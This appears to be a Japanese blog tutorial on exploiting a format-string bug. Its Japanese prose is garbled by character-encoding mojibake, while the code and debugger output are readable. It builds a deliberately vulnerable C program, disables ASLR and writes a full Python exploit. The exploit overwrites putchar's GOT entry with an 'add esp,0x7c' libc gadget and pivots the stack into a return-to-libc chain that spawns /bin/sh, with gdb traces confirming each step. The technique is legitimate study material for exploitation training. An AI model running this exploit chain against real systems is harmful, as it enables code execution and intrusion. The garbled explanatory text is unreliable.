ä¸ã¤åã®ã¨ã³ããªã§ã¯ãã¼ããªã¼ãã¼ããã¼ãå©ç¨ããGOT overwriteãè¡ããã¸ã£ã³ãæeaxã¬ã¸ã¹ã¿ã«ãããã¡ã®ã¢ãã¬ã¹ãå
¥ã£ã¦ãããã¨ãå©ç¨ãããã¨ã«ããStack pivotãè¡ã£ãã
ãããããã®ãããªã©ã¤ãã©ãªé¢æ°å¼ã³åºããè¦ã¤ãããªãå ´åãããããã
ãã®å ´åxchg esp,eax
ã®ãããªå½¢ã®ROP gadgetã¯ä½¿ããªããã代ããã«add esp,[some constant]
ã®å½¢ã®gadgetã使ããã¨ã§ã¹ã¿ãã¯ã®é ãèªåãã³ã³ããã¼ã«å¯è½ãªãããã¡ã®ä¸ã«ç§»ããã¨ãã§ããå ´åãããã
ããã§ã¯ãadd esp,[some constant]
ã®å½¢ã®gadgetã使ã£ãStack pivotãè¡ããReturn-to-libcã«ç¹ãããã¨ã«ããã·ã§ã«èµ·åããã£ã¦ã¿ãã
ç°å¢
Ubuntu 12.04 LTS 32bitç
$ uname -a Linux vm-ubuntu32 3.11.0-15-generic #25~precise1-Ubuntu SMP Thu Jan 30 17:42:40 UTC 2014 i686 i686 i386 GNU/Linux $ lsb_release -a No LSB modules are available. Distributor ID: Ubuntu Description: Ubuntu 12.04.4 LTS Release: 12.04 Codename: precise $ gcc --version gcc (Ubuntu/Linaro 4.6.3-1ubuntu5) 4.6.3
èå¼±æ§ã®ããããã°ã©ã ãç¨æãã
xchg esp,eax
ã®å½¢ã®Stack pivotã使ããªãä¾ã¨ãã¦ã次ã®ãããªformat string attackãå¯è½ãªã³ã¼ããç¨æããã
/* fsb.c */ #include <stdio.h> #include <string.h> int main(int argc, char *argv[]) { char buf[100]; printf("[+] buf = %p\n", buf); strncpy(buf, argv[1], 100); printf(buf); putchar('\n'); return 0; }
ASLRç¡å¹ãDEPãSSPæå¹ã§ã³ã³ãã¤ã«ã»å®è¡ããformat string attackãå¯è½ã§ãããã¨ã確èªããã
$ sudo sysctl -w kernel.randomize_va_space=0 kernel.randomize_va_space = 0 $ gcc fsb.c fsb.c: In function âmainâ: fsb.c:10:5: warning: format not a string literal and no format arguments [-Wformat-security] $ ./a.out 'AAAA%10$x' [+] buf = 0xbffff738 AAAA41414141
ã©ã¤ãã©ãªé¢æ°å¼ã³åºãæã®ã¹ã¿ãã¯ã®ç¶æ ã調ã¹ã¦ã¿ã
ä¸ã¤åã®ã¨ã³ããªã¨åãããã«ãã¾ãã¯gdbã使ã£ã¦putcharé¢æ°å¼ã³åºãåã®ã¬ã¸ã¹ã¿ã®å¤ã調ã¹ã¦ã¿ãã
$ gdb -q a.out Reading symbols from /home/user/tmp/a.out...(no debugging symbols found)...done. (gdb) set disassembly-flavor intel (gdb) disas main Dump of assembler code for function main: ... 0x080484ec <+88>: lea eax,[esp+0x28] 0x080484f0 <+92>: mov DWORD PTR [esp],eax 0x080484f3 <+95>: call 0x8048380 <printf@plt> 0x080484f8 <+100>: mov DWORD PTR [esp],0xa 0x080484ff <+107>: call 0x80483c0 <putchar@plt> ... End of assembler dump. (gdb) b *main+107 Breakpoint 1 at 0x80484ff (gdb) run AAAA Starting program: /home/user/tmp/a.out AAAA [+] buf = 0xbffff708 Breakpoint 1, 0x080484ff in main () (gdb) i r eax 0x4 4 ecx 0x0 0 edx 0x0 0 ebx 0xb7fd0ff4 -1208152076 esp 0xbffff6e0 0xbffff6e0 ebp 0xbffff778 0xbffff778 esi 0x0 0 edi 0x0 0 eip 0x80484ff 0x80484ff <main+107> eflags 0x286 [ PF SF IF ] cs 0x73 115 ss 0x7b 123 ds 0x7b 123 es 0x7b 123 fs 0x0 0 gs 0x33 51
ååã¨ç°ãªãããããã¡ã®ã¢ãã¬ã¹ï¼0xbffff708ï¼ãå ¥ã£ã¦ããã¬ã¸ã¹ã¿ã¯ãªããã¨ããããã ããã§ããã®ã¾ã¾ããã«ã¹ã¿ãã¯ã®ç¶æ ã調ã¹ã¦ã¿ãã
(gdb) x/100wx $esp 0xbffff6e0: 0x0000000a 0xbffff93c 0x00000064 0xb7ec3b19 0xbffff6f0: 0xbffff72f 0xbffff72e 0x00000000 0xbffff814 0xbffff700: 0xbffff7b4 0x00000000 0x41414141 0x00000000 0xbffff710: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffff720: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffff730: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffff740: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffff750: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffff760: 0x00000000 0x00000000 0x00000000 0xf96fd600 0xbffff770: 0x08048520 0x00000000 0x00000000 0xb7e444d3 ... (gdb) quit A debugging session is active. Inferior 1 [process 1230] will be killed. Quit anyway? (y or n) y
ä¸ã®çµæãããespã¯0xbffff6e0ã§ããããã®10ã¯ã¼ãå ã®0xbffff708ãã100ãã¤ãåã®ãããã¡ã確ä¿ããã¦ãããã¨ããããã
ä»åã®å ´åã«ã¤ãã¦ãROPã®ã¨ã³ããªã«ã¦ä½¿ã£ãlist_gadgets.pyãç¨ãã¦libcã®ROP gadgetã調ã¹ã¦ã¿ãã¨ã次ã®ãããªgadgetãåå¨ãããã¨ããããã
$ python list_gadgets.py /lib/i386-linux-gnu/libc.so.6 > gadgets.txt $ cat gadgets.txt | grep add | grep esp ... 2db98: add esp,0x7c ...
GOT overwriteã®æ¸ãæãå ã¨ãã¦ãã®gadgetãå©ç¨ããã¨ãã¸ã£ã³ãããå¾espã¬ã¸ã¹ã¿ã®å¤ã0x7cã ããããã ããã¦ãããã¯ã¡ããã©ç¢ºä¿ããããããã¡ã®å¾åé¨åã«ãªãã ã¤ã¾ãã0x7cãããespã¬ã¸ã¹ã¿ã®æãé¨åã«Return-to-libcã®ã¹ã¿ãã¯ã¬ã¤ã¢ã¦ããç¨æãã¦ããã°ããããå®è¡ããããã¨ãã§ããã
ã¨ã¯ã¹ããã¤ãã³ã¼ããæ¸ãã¦ã¿ã
ä¸ã®èª¬æããã¨ã«ãformat string attackã«ããputcharé¢æ°ã®GOTã¢ãã¬ã¹ãadd esp,0x7c
ãæãã¢ãã¬ã¹ã«æ¸ãæããReturn-to-libcã«ç¹ãã¨ã¯ã¹ããã¤ãã³ã¼ããæ¸ãã¨æ¬¡ã®ããã«ãªãã
# exploit.py import sys import struct from subprocess import Popen base_libc = int(sys.argv[1], 16) index = int(sys.argv[2]) addr_got_putchar = 0x804a010 # objdump -d -j.plt a.out addr_libc_system = base_libc + 0x0003f430 # nm -D /lib/i386-linux-gnu/libc.so.6 | grep " system" addr_libc_exit = base_libc + 0x00032fb0 # nm -D /lib/i386-linux-gnu/libc.so.6 | grep " exit" addr_libc_binsh = base_libc + 0x161d98 # strings -tx /lib/i386-linux-gnu/libc.so.6 | grep "/bin/sh" addr_libc_lift_7c = base_libc + 0x2db98 # search "add esp" by list_gadgets.py addr_libc_ret = base_libc + 0x16f8b # objdump -d /lib/i386-linux-gnu/libc.so.6 | grep ret | head buf = struct.pack('<I', addr_got_putchar) buf += struct.pack('<I', addr_got_putchar+1) buf += struct.pack('<I', addr_got_putchar+2) buf += struct.pack('<I', addr_got_putchar+3) a = map(ord, struct.pack('<I', addr_libc_lift_7c)) a[3] = ((a[3]-a[2]-1) % 0x100) + 1 a[2] = ((a[2]-a[1]-1) % 0x100) + 1 a[1] = ((a[1]-a[0]-1) % 0x100) + 1 a[0] = ((a[0]-len(buf)-1) % 0x100) + 1 buf += "%%%dc%%%d$hhn" % (a[0], index) buf += "%%%dc%%%d$hhn" % (a[1], index+1) buf += "%%%dc%%%d$hhn" % (a[2], index+2) buf += "%%%dc%%%d$hhn" % (a[3], index+3) buf += 'A' * (4 - len(buf)%4) # alignment buf += struct.pack('<I', addr_libc_ret) * 4 # ROP NOPs buf += struct.pack('<I', addr_libc_system) buf += struct.pack('<I', addr_libc_exit) buf += struct.pack('<I', addr_libc_binsh) with open('buf', 'wb') as f: f.write(buf) p = Popen(['./a.out', buf]) p.wait()
ãã®ã³ã¼ãã¯ãlibcã®ãã¼ã¹ã¢ãã¬ã¹ããã©ã¼ãããæååã¾ã§ã®ãªãã»ãããé ã«å¼æ°ã«åãã
ã¾ããReturn-to-libcã«ããã¦ã¯systemé¢æ°ãã/bin/shãå¼ã³åºãããã®å¾exité¢æ°ãå®è¡ãããããã«ãã¦ããã
ããã§ããããespãæãé¨åããsystemé¢æ°ã¾ã§ãã¾ãæµãã¦ãããããããã¤ãret
ãæãã¢ãã¬ã¹ã並ã¹ã¦ããã¨ããã
ããã¯ãé常ã®ããã°ã©ã å®è¡ã«ãããNOPå½ä»¤ã¨åããããªåããããROP NOPãªã©ã¨å¼ã°ããã
gdbã§libcã®ãã¼ã¹ã¢ãã¬ã¹ãå®è¡ãã¡ã¤ã«ãå®è¡ãã¦ãã©ã¼ãããæååã¸ã®ãªãã»ããã調ã¹ãããããå¼æ°ã«ã»ãããã¦ã¨ã¯ã¹ããã¤ãã³ã¼ããå®è¡ãã¦ã¿ãã
$ python exploit.py 0xb7e2c000 10 [+] buf = 0xbffff6e8 $ id uid=1000(user) gid=1000(user) groups=1000(user) $ (snip)
DEPãæå¹ãªå®è¡ãã¡ã¤ã«ã«å¯¾ããStack pivotããã®Return-to-libcã«ããã·ã§ã«ãèµ·åã§ãã¦ãããã¨ã確èªã§ããã
å®éã«espããããå ãã©ã®ããã«ãªã£ã¦ãããã«ã¤ãã¦ãgdbã§èª¿ã¹ã¦ã¿ãã
$ gdb -q a.out Reading symbols from /home/user/tmp/esplift/a.out...(no debugging symbols found)...done. (gdb) set disassembly-flavor intel (gdb) disas main Dump of assembler code for function main: ... 0x080484ff <+107>: call 0x80483c0 <putchar@plt> ... End of assembler dump. (gdb) b *main+107 Breakpoint 1 at 0x80484ff (gdb) run $(cat buf) Starting program: /home/user/tmp/esplift/a.out $(cat buf) [+] buf = 0xbffff6a8 Breakpoint 1, 0x080484ff in main () (gdb) disp/i $pc 1: x/i $pc => 0x80484ff <main+107>: call 0x80483c0 <putchar@plt> (gdb) si 0x080483c0 in putchar@plt () 1: x/i $pc => 0x80483c0 <putchar@plt>: jmp DWORD PTR ds:0x804a010 (gdb) 0xb7e59b98 in modfl () from /lib/i386-linux-gnu/libc.so.6 1: x/i $pc => 0xb7e59b98 <modfl+136>: add esp,0x7c (gdb) x/100wx $esp 0xbffff67c: 0x08048504 0x0000000a 0xbffff8ea 0x00000064 0xbffff68c: 0xb7ec4b19 0xbffff6cf 0xbffff6ce 0x00000000 0xbffff69c: 0xbffff7b4 0xbffff754 0x00000000 0x0804a010 0xbffff6ac: 0x0804a011 0x0804a012 0x0804a013 0x36333125 0xbffff6bc: 0x30312563 0x6e686824 0x25633325 0x68243131 0xbffff6cc: 0x37256e68 0x31256334 0x68682432 0x3132256e 0xbffff6dc: 0x31256330 0x68682433 0x4141416e 0xb7e42f8b 0xbffff6ec: 0xb7e42f8b 0xb7e42f8b 0xb7e42f8b 0xb7e6b430 0xbffff6fc: 0xb7e5efb0 0xb7f8dd98 0x00000000 0x00000000 0xbffff70c: 0x47a91000 0x08048520 0x00000000 0x00000000 ... (gdb) si 0xb7e59b9b in modfl () from /lib/i386-linux-gnu/libc.so.6 1: x/i $pc => 0xb7e59b9b <modfl+139>: ret (gdb) x/100wx $esp 0xbffff6f8: 0xb7e6b430 0xb7e5efb0 0xb7f8dd98 0x00000000 0xbffff708: 0x00000000 0x47a91000 0x08048520 0x00000000 ... (gdb) si 0xb7e6b430 in system () from /lib/i386-linux-gnu/libc.so.6 1: x/i $pc => 0xb7e6b430 <system>: sub esp,0x1c (gdb) quit A debugging session is active. Inferior 1 [process 21520] will be killed. Quit anyway? (y or n) y
0xbffff67c + 0x7c = 0xbffff6f8
ã§ããã¾ãã¾systemé¢æ°ã®ã¢ãã¬ã¹ãå
¥ã£ã¦ããé¨åã«ã¹ã¿ãã¯ã®é ã移åãã¦ãããã¨ããããã